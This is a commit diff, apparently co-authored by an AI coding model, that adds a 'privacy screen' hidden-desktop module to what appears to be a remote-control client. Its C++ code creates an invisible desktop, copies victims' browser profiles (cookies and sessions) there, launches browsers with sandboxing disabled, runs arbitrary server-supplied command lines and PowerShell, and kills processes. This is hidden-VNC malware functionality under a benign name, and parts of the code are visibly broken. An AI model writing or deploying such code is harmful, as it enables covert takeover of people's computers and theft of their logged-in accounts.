Feature: Migrate SimplePlugins privacy screen (隐私屏幕迁移)
Migrate the SimplePlugins privacy-screen (virtual desktop) feature into the YAMA client as an "实验功能" right-click submenu entry. The capture layer is rewritten rather than copied: CScreenHideSpy now subclasses YAMA's ::CScreenSpy (vDesk=TRUE) so capture and encoding reuse YAMA's encoder pipeline instead of SimplePlugins' diverged jpeg capture chain; CScreenManagerBase and CScreenHideManager are migrated under the SimplePluginsScreenHide namespace, and SimplePlugins-only ALGORITHM_DEFAULT is mapped to ALGORITHM_DIFF. Add COMMAND_PRIVATE_SCREEN_PLUGIN (164) and LoopPrivateScreenPlugin, spawned as a sub-connection from KernelManager. The constructor sends TOKEN_BITMAPINFO_HIDE so the existing server HideScreenSpyDlg opens unchanged. Add a "隐私屏幕" entry to the "实验功能" submenu, routed via OnExperimentPrivateScreen. Also zero-initialize the GetTitle/szClass buffers to fix a 0xCC garbled log. Co-Authored-By: deepseek-v4-pro
This commit is contained in:
1 parent
2c3e1ca518
commit
2fb6252285
14 files changed
+1336
-1
No files matched your search
@@ -0,0 +1,615 @@
|
||||
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "StdAfx.h"
|
||||
#include <Windowsx.h>
|
||||
#include "ScreenHideManager.h"
|
||||
#include <WinUser.h>
|
||||
#include <string>
|
||||
#include <Shlwapi.h>
|
||||
#include <ShlObj.h>
|
||||
#include <Tlhelp32.h>
|
||||
#include <shellapi.h>
|
||||
#include <winioctl.h>
|
||||
#include <Wtsapi32.h>
|
||||
#include <set>
|
||||
#include <vector>
|
||||
|
||||
|
||||
#pragma comment (lib, "Shlwapi.lib")
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
|
||||
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
|
||||
// 切换到目标桌面
|
||||
if (!SetThreadDesktop(hDesk)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 枚举目标桌面的所有窗口
|
||||
BOOL bFound = FALSE;
|
||||
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
|
||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
|
||||
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
|
||||
|
||||
DWORD dwProcessId;
|
||||
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||
|
||||
// 获取进程名
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
|
||||
if (hProcess) {
|
||||
char exePath[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
|
||||
if (_stricmp(exePath, pData->first) == 0) {
|
||||
*(pData->second) = TRUE;
|
||||
return FALSE; // 终止枚举
|
||||
}
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
return TRUE; // 继续枚举
|
||||
}, reinterpret_cast<LPARAM>(&data));
|
||||
|
||||
return bFound;
|
||||
}
|
||||
|
||||
// 获取指定桌面下的所有进程ID
|
||||
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
|
||||
std::set<DWORD> pidSet;
|
||||
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
if (SetThreadDesktop(hDesk)) {
|
||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
|
||||
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
|
||||
|
||||
// 跳过不可见窗口和子窗口
|
||||
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||||
DWORD pid = 0;
|
||||
GetWindowThreadProcessId(hWnd, &pid);
|
||||
if (pid != 0) pids.insert(pid);
|
||||
}
|
||||
return TRUE;
|
||||
}, reinterpret_cast<LPARAM>(&pidSet));
|
||||
SetThreadDesktop(hOriginalDesk);
|
||||
}
|
||||
|
||||
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
|
||||
}
|
||||
|
||||
bool IsSystemProcess(DWORD pid) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hProcess) return true;
|
||||
|
||||
char exeName[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
bool isSystem = false;
|
||||
|
||||
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||||
isSystem = (_stricmp(exeName, szExplorerFile)==0);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
return isSystem;
|
||||
}
|
||||
|
||||
void SafeTerminateDesktopProcesses(HDESK hDesk) {
|
||||
// 检查桌面句柄有效性
|
||||
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
|
||||
|
||||
// 获取当前桌面(用于恢复)
|
||||
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||||
if (!hOriginalDesk) {
|
||||
Mprintf("Failed to get original desktop\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 切换桌面
|
||||
if (!SetThreadDesktop(hDesk)) {
|
||||
Mprintf("SetThreadDesktop failed\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 枚举进程
|
||||
auto pids = GetProcessIdsInDesktop(hDesk);
|
||||
SetThreadDesktop(hOriginalDesk); // 立即恢复
|
||||
|
||||
// 终止进程
|
||||
for (DWORD pid : pids) {
|
||||
if (pid == GetCurrentProcessId()) continue; // 跳过自己
|
||||
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hProcess) {
|
||||
Mprintf("OpenProcess failed for PID: %d\n", pid);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 检查是否为系统进程
|
||||
if (IsSystemProcess(pid)) {
|
||||
CloseHandle(hProcess);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 终止进程
|
||||
if (!TerminateProcess(hProcess, 0)) {
|
||||
Mprintf("TerminateProcess failed for PID: %d\n", pid);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
void CopyDir(TCHAR* from, TCHAR* to)
|
||||
{
|
||||
TCHAR fromWildCard[MAX_PATH] = { 0 };
|
||||
lstrcpy(fromWildCard, from);
|
||||
lstrcat(fromWildCard, _T("\\*"));
|
||||
|
||||
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
|
||||
return;
|
||||
WIN32_FIND_DATA findData;
|
||||
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
|
||||
if (hFindFile == INVALID_HANDLE_VALUE)
|
||||
return;
|
||||
|
||||
do {
|
||||
TCHAR currFileFrom[MAX_PATH] = { 0 };
|
||||
lstrcpy(currFileFrom, from);
|
||||
lstrcat(currFileFrom, _T("\\"));
|
||||
lstrcat(currFileFrom, findData.cFileName);
|
||||
|
||||
TCHAR currFileTo[MAX_PATH] = { 0 };
|
||||
lstrcpy(currFileTo, to);
|
||||
lstrcat(currFileTo, _T("\\"));
|
||||
lstrcat(currFileTo, findData.cFileName);
|
||||
|
||||
if
|
||||
(
|
||||
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
|
||||
strcmp(findData.cFileName, _T(".")) &&
|
||||
strcmp(findData.cFileName, _T(".."))
|
||||
) {
|
||||
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
|
||||
CopyDir(currFileFrom, currFileTo);
|
||||
} else
|
||||
CopyFile(currFileFrom, currFileTo, FALSE);
|
||||
} while (FindNextFile(hFindFile, &findData));
|
||||
}
|
||||
|
||||
void killproc(const TCHAR* name)
|
||||
{
|
||||
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
|
||||
PROCESSENTRY32 pEntry;
|
||||
pEntry.dwSize = sizeof(pEntry);
|
||||
BOOL hRes = Process32First(hSnapShot, &pEntry);
|
||||
while (hRes) {
|
||||
if (strcmp(pEntry.szExeFile, name) == 0) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
|
||||
(DWORD)pEntry.th32ProcessID);
|
||||
if (hProcess != NULL) {
|
||||
TerminateProcess(hProcess, 9);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
hRes = Process32Next(hSnapShot, &pEntry);
|
||||
}
|
||||
CloseHandle(hSnapShot);
|
||||
}
|
||||
|
||||
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
|
||||
CScreenManagerBase(pClient, nBitDepth, user)
|
||||
{
|
||||
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
|
||||
}
|
||||
|
||||
CScreenHideManager::~CScreenHideManager()
|
||||
{
|
||||
}
|
||||
|
||||
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
if (lpBuffer[0] == TOKEN_HEARTBEAT)
|
||||
return;
|
||||
|
||||
switch (lpBuffer[0]) {
|
||||
case COMMAND_FLUSH_HIDE:
|
||||
ResetScreen(32);
|
||||
break;
|
||||
case COMMAND_SCREEN_CONTROL:
|
||||
ProcessCommand(lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
case COMMAND_NEXT:
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||||
SendClientClipboard();
|
||||
break;
|
||||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||||
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
case COMMAND_SCREEN_SETSCREEN_HIDE:
|
||||
Loop_Screen();
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(60);
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(85);
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(100);
|
||||
break;
|
||||
case COMMAND_HIDE_USER: {
|
||||
return OnUserCommand(lpBuffer, nSize);
|
||||
}
|
||||
break;
|
||||
case COMMAND_HIDE_CLEAR:
|
||||
SafeTerminateDesktopProcesses(g_hDesk);
|
||||
break;
|
||||
default:
|
||||
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
|
||||
char* deskName = (char*)m_DesktopID.c_str();
|
||||
switch (lpBuffer[1]) {
|
||||
case IDM_OPEN_Explorer: {
|
||||
const DWORD neverCombine = 2;
|
||||
const TCHAR* valueName = _T("TaskbarGlomLevel");
|
||||
|
||||
HKEY hKey;
|
||||
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
|
||||
DWORD value;
|
||||
DWORD size = sizeof(DWORD);
|
||||
DWORD type = REG_DWORD;
|
||||
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
|
||||
|
||||
if (value != neverCombine)
|
||||
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
|
||||
|
||||
TCHAR explorerPath[MAX_PATH] = { 0 };
|
||||
GetWindowsDirectory(explorerPath, MAX_PATH);
|
||||
lstrcat(explorerPath, _T("\\"));
|
||||
lstrcat(explorerPath, _T("explorer.exe"));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
|
||||
APPBARDATA appbarData;
|
||||
appbarData.cbSize = sizeof(appbarData);
|
||||
for (int i = 0; i < 5; ++i) {
|
||||
Sleep(1000);
|
||||
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
|
||||
if (appbarData.hWnd)
|
||||
break;
|
||||
}
|
||||
|
||||
appbarData.lParam = ABS_ALWAYSONTOP;
|
||||
SHAppBarMessage(ABM_SETSTATE, &appbarData);
|
||||
|
||||
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
|
||||
RegCloseKey(hKey);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_run: {
|
||||
TCHAR rundllPath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
|
||||
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Powershell: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Chrome: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcat(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("User Data\\"));
|
||||
|
||||
TCHAR botId[35] = { 0 };
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcat(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("chrome.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Edge: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("msedge.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Brave: {
|
||||
killproc(_T("brave.exe"));
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("brave.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Firefox: {
|
||||
TCHAR firefoxPath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
|
||||
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
|
||||
|
||||
TCHAR profilesIniPath[MAX_PATH] = { 0 };
|
||||
lstrcat(profilesIniPath, firefoxPath);
|
||||
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
|
||||
|
||||
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hProfilesIni == INVALID_HANDLE_VALUE)
|
||||
return;
|
||||
|
||||
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
|
||||
DWORD read;
|
||||
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
|
||||
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
|
||||
profilesIniContent[profilesIniSize] = 0;
|
||||
|
||||
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
|
||||
if (!isRelativeRead) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
|
||||
isRelativeRead += 11;
|
||||
BOOL isRelative = (*isRelativeRead == _T('1'));
|
||||
|
||||
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
|
||||
if (!path) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
TCHAR* pathEnd = StrStr(path, _T("\r"));
|
||||
if (!pathEnd) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
*pathEnd = 0;
|
||||
path += 5;
|
||||
|
||||
TCHAR realPath[MAX_PATH] = { 0 };
|
||||
if (isRelative)
|
||||
lstrcpy(realPath, firefoxPath);
|
||||
lstrcat(realPath, path);
|
||||
|
||||
TCHAR newPath[MAX_PATH];
|
||||
lstrcpy(newPath, firefoxPath);
|
||||
lstrcpy(newPath, deskName);
|
||||
|
||||
CopyDir(realPath, newPath);
|
||||
|
||||
TCHAR browserPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(browserPath, _T("cmd.exe /c start "));
|
||||
lstrcpy(browserPath, _T("firefox.exe"));
|
||||
lstrcpy(browserPath, _T(" -no-remote -profile "));
|
||||
lstrcpy(browserPath, _T("\""));
|
||||
lstrcpy(browserPath, newPath);
|
||||
lstrcpy(browserPath, _T("\""));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Iexplore: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("iexplore.exe"));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_zdy: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_zdy2: {
|
||||
ZdyCmd m_ZdyCmd = {};
|
||||
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
|
||||
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, m_ZdyCmd.cmdline);
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, m_ZdyCmd.newpath);
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360JS: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("User Data\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("360chrome.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("secoresdk\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ2: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("360se6\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenHideManager::InitScreenSpy() {
|
||||
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||||
if (!hDesk) {
|
||||
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
|
||||
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
|
||||
}
|
||||
else {
|
||||
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
|
||||
}
|
||||
if (hDesk) {
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||||
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
|
||||
{
|
||||
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||||
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
|
||||
}
|
||||
} else {
|
||||
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
|
||||
}
|
||||
SetThreadDesktop(g_hDesk = hDesk);
|
||||
}
|
||||
BYTE* param = (BYTE*)m_ptrUser;
|
||||
int compress = ALGORITHM_DIFF;
|
||||
if (param) {
|
||||
compress = param[1];
|
||||
delete[] param;
|
||||
m_ptrUser = NULL;
|
||||
}
|
||||
m_ScreenSpyObject = new CScreenHideSpy(32, compress);
|
||||
}
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
Reference in new issue
Block a user